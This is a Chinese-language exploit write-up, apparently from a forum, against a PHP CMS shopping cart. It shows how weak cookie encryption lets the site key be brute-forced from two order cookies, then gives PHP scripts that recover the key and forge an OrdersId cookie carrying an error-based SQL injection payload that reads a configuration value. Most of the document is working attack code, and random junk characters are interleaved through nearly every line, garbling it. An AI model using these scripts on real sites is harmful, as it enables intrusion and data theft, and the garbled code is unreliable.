www.xxx.com/plus/search.php?keyword=7 F$ p3 ]" A" Z7 U
在 include/shopcar.class.php中' J3 z* Q; l1 s8 F8 k
先看一下这个shopcar类是如何生成cookie的* q+ Y3 i% T! ~/ k2 C+ i$ k7 @
239 function saveCookie($key,$value)7 T7 H6 t' q. `3 ?. Q9 d
240 {; Y) s# L A7 e& F, j8 b
241 if(is_array($value))
+ C) E8 [9 T4 q( ?3 K& ]242 {
7 a9 u6 i) f6 l1 c9 i243 $value = $this->enCrypt($this->enCode($value));
9 t7 d$ r* g7 ~/ [) G9 Y1 J244 }9 F t* m5 _) v) V8 ]9 C
245 else
# ^" ?9 A) h# e5 [* D# d" d246 {4 O: S3 Z! e9 [: W j5 f
247 $value = $this->enCrypt($value);
: }: t* Z+ S F3 r- Z1 j% h, l248 }
/ x2 O2 g3 X4 Z& M" m3 @+ u# x3 F% P5 M249 setcookie($key,$value,time()+36000,’/');
8 z. b* O( k. N- R u4 D2 P; o0 a250 }" ~1 T. y: x: f6 b' t; F
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数) x2 L' }2 I# u& b
186 function enCrypt($txt)
+ c4 X3 d! o5 q, \ }# F; d% C6 u187 {0 V# f: i5 x, m, \5 ~/ L6 B8 [
188 srand((double)microtime() * 1000000);
) M8 j# p+ H% e; r# r- ~9 e189 $encrypt_key = md5(rand(0, 32000));
7 [3 D/ H& a: ?% H# L8 @190 $ctr = 0;
8 M4 k& T0 a1 M( x9 B. t, D191 $tmp = ”;
% C; \2 v% @* y1 z192 for($i = 0; $i < strlen($txt); $i++): s: ~- i; s2 }& _" c8 l: D' N
193 {+ T7 y& q5 h9 A( _0 {, |
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
: H) r2 h9 f. g195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
, k4 k1 K0 r6 J; K3 ?196 }
% F) R# L9 D9 t& C197 return base64_encode($this->setKey($tmp));
% d8 o' j/ d1 i& F: B8 M1 C, F198 }5 G# R- x: p$ V, y0 j
213 function setKey($txt)
: X# }( D0 E! V214 {2 @% e, M, ?$ P, K+ h& j
215 global $cfg_cookie_encode;8 V+ @( x g; Y D- z, F
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));$ f" f" e( ?- `8 d' Y' k2 {2 p
217 $ctr = 0;
& p4 z; G) f# z1 j8 \0 ^218 $tmp = ”;: D. `" ]3 m, Y
219 for($i = 0; $i < strlen($txt); $i++)
* ~+ U; ~1 }- u220 {/ v. b \5 |* V- s5 h% }: |
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
7 e8 L. z+ Z* K J222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];( B& m- b4 G Z8 z6 J
223 }/ o' R6 d) n9 Y" |
224 return $tmp;7 i8 Q7 {8 s2 a) K
225 }: W6 R, ^" L+ \- r* J1 x+ `
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的7 C8 E# ~/ A0 [) C1 T8 X
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
! G9 x* P$ \- D: b0 P具体代码如下:0 J; S! ~* M _! `4 p( v
<?php+ T3 i4 {; V+ [& l7 D$ A& t+ y
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
. l- ?" _1 P& M5 @1 Y$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
7 N% g' |) a) p' ]; ^$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here" J+ @3 U9 e) r0 S+ e2 s" j
function reStrCode($code,$string)
3 d; R' r( k" `7 O{
5 P) n% ]; ]" a. s9 t+ r4 g$code = base64_decode($code);
. ]( g7 i* s3 Q: K$key = “”;
9 a }* P% N) Nfor($i=0 ; $i<32 ; $i++)
/ y. O) v7 q* _0 Y1 \* G{
# s( ` S x$ |2 S! _" p$key .= $string[$i] ^ $code[$i];" l9 y: g3 m2 `" {5 k9 a
}
1 y, s8 I) D/ G% S; U! e' G3 B- Vreturn $key;
4 Q& y. v: ?8 J) ]0 p) X4 d}: I& x8 T- p' l, b
function getKeys($cookie,$plantxt)
' g4 W; m1 v" t% x{
5 D- e0 Y% D n! @- r$tmp = $cookie;
' d2 J! G# M7 m! z( }6 I+ E( d$results = array();
7 J, p f1 D& F5 Ufor($j=0 ; $j < 32000; $j++)6 a9 t3 v1 {; D- X, @# k
{
: D3 R! n4 w j, f2 u
0 I# G0 `1 W2 y) s$txt = $plantxt;4 l) I3 ]& g- ]) I; V3 J
$ctr = 0;
' Y- p. B7 o; I6 S$ v- l. t$tmp = ”;
7 `5 _7 i9 J. S0 B7 r& m$encrypt_key = md5($j);3 g5 R: r" z& U* i7 a
for($i =0; $i < strlen($txt); $i ++)
9 n8 V* A) x! p; @{
' |+ w9 m& J3 D6 A7 U+ J$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- j6 c& i: R, V$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
E9 o& U% R" e$ W; k}# A# n# a) U& {6 i) G$ m( O5 n, e; i
$string = $tmp;- Z3 Z& M- F% `" u8 D+ f% A: i
$code = $cookie;: q6 v4 v: J& N, h1 v% h
$result = reStrCode($code,$string);
+ z- }1 E8 w/ s/ eif(eregi(‘^[a-z0-9]+$’,$result))3 ]3 h2 d' n3 `
{9 O% T5 ]3 a& r" d, X
echo $result.”\n”; y3 }/ N" Y# i8 c; ~4 @: x7 @
$results[] = $result; n8 g% k2 l7 q, H i5 J B. @
}
+ A; g1 S- S* L/ l! G q8 ?$ v G}5 f" e L5 W7 ?# |7 Q7 e! L' a; }
return $results;5 E: [' U0 \+ P m) j9 N. q
}& @' b M: Z% ?7 e
$results1 = getKeys($cookie1,$plantxt);5 g( [9 a$ O2 e. t9 R. `2 @
$results2 = getKeys($cookie2,$plantxt);
. P; N; o( O* j( cprint “\n——————–real key————————–\n”;
) A- y, X# o+ t3 }9 @8 Q9 pforeach($results1 as $test1)3 R. I# {' p+ J6 R* b" }# M
{
% b9 \* B r, o2 T& f5 F1 ^foreach($results2 as $test2)
+ E# ^) W9 k% S( z: J! B{0 Y, F5 E# O# C6 c$ x( h. g
if($test1 == $test2)
' K1 }# f7 G* m5 S: H! U{: \. r, u- B7 U( v4 m- n; T2 [
echo $test1.”\n”;- T6 |5 u: v$ a5 |& P0 y$ }' w$ p
}- p/ x4 p& F& a3 d9 U, |
}
- q4 x7 w0 v- p5 v8 h}
& A |4 K* P, O7 |7 L J7 o; Q?>, p5 I3 E7 a1 O/ g- j$ _& u8 C
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
. i( G' _6 ?8 v5 g& kplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
4 [8 i" Y" X& y0 A然后推算出md5(strtolower($cfg_cookie_encode))* J6 X! z- J% [1 [, R' ~8 v5 E3 R8 d) v
得到这个key之后,我们就可以构造任意购物车的cookie
1 O6 E% @3 s/ @3 o( v接着看
. p1 e2 {) {: |20 class MemberShops: }( `! I4 A3 M# v& t; x* }
21 {
* h( r2 Q( v0 D3 ~) \% i3 X1 ]0 }22 var $OrdersId;
* t5 V1 b' O6 C2 ]: x23 var $productsId;5 r ?) z/ M; r$ E
24
& y2 b: |3 ~0 _4 C25 function __construct()& w, t* k; ]* C
26 {
+ z9 U" R5 L' ~0 U0 R* `$ t; I27 $this->OrdersId = $this->getCookie(“OrdersId”);; N; n" `! b; M F
28 if(empty($this->OrdersId))4 p6 v. t3 B2 o0 n( K6 q9 {$ d+ P- ^
29 {
* F' U1 u* F; t$ Z1 N9 U30 $this->OrdersId = $this->MakeOrders();
+ }& B' I4 |# u31 }
7 T# X" {# f8 k0 T$ A# Z32 }
2 R m' h1 g3 ~! t发现OrderId是从cookie里面获取的* x- Z2 v4 N/ i% I: x
然后1 j2 _8 k2 C. G
/plus/carbuyaction.php中的 \4 j/ ]2 Y# y) d- W
29 $cart = new MemberShops();
3 g2 V$ ]: o# W, i39 $OrdersId = $cart->OrdersId; //本次记录的订单号
" S3 O4 n' Q! t2 k# _- X……
$ Z* |/ @& O5 Y* d$ x: z173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
, t3 h( I$ a% [- F$ S; C' o2 W, G接着我们就可以注入了
9 V7 {" W' `0 Q7 f: `通过利用下面代码生成cookie:5 a$ _0 r, l$ o2 `& Y
<?php, r1 Q; N; c9 Z6 p! m6 D" [
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;" G6 _8 N. g9 v) p) O
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here/ H2 I$ z) ]6 M) b( Z
function setKey($txt)
" r2 Q' m# o: u{
4 j$ W3 ]1 h& T# K! m9 Qglobal $encrypt_key;
7 K* [( C- B* o1 `; {( R9 F$ctr = 0;" k& E/ x7 g8 c9 `
$tmp = ”;
7 h; `5 }4 A4 r- ]for($i = 0; $i < strlen($txt); $i++)9 f+ ~& r8 g7 B. M8 A+ i+ s& {
{
" m; O- _; O5 {, @% B I$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;6 t- g+ i& | @4 }* |8 M+ J9 o8 d
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
. M& ]: G4 L( ^# ?( `! V) f+ D}
6 {6 F) }$ k% y) B+ _$ W* p8 Greturn $tmp;, W$ Y6 @( n. ^) |) o
}
2 t! K) g" Q1 r9 Z( Q5 B. |function enCrypt($txt)2 Y$ I4 i& I3 V6 u9 e, B7 w9 {
{
3 v& D( n6 F: S2 G. |4 ~srand((double)microtime() * 1000000);
5 w1 C; _1 y' B0 I$encrypt_key = md5(rand(0, 32000));
, L. P0 T; Z2 }/ V% z$ctr = 0;/ ~4 v4 p( {' j4 x# y
$tmp = ”;& j" f. y2 N9 O9 _$ e( u3 m
for($i = 0; $i < strlen($txt); $i++)7 o2 s1 v7 [9 E! c5 M' V
{) M# ]9 d6 ]3 { h; W
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
M' s; i1 O1 z$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
* V* v3 w+ |+ ~; t}
5 r2 h( D; y8 p! ? preturn base64_encode(setKey($tmp));, K E$ B# U# z8 S# }! V( H5 N
}' E! u' o) x4 @. R- O
for($dest =0;$dest = enCrypt($txt);)8 ]7 x& R2 d; Q+ A' ^
{
5 z5 r3 |& U9 W$ ^if(!strpos($dest,’+'))
6 e* M- n6 D2 Q) `; Z{
6 U/ i" ~' P2 o4 j! Z! {* L3 }% Sbreak;
* J/ K4 W* p9 l( s r- Q/ n: M}" G( t5 R4 A$ x" l! q
}
% N9 P% Q5 H1 ~5 a& ?( S& e; Pecho $dest.”\n”;
+ h9 f, _7 b. A1 z- Q3 ~?>
( _( }( b' d. W, p( M
+ H% v. L4 z! A/ Q |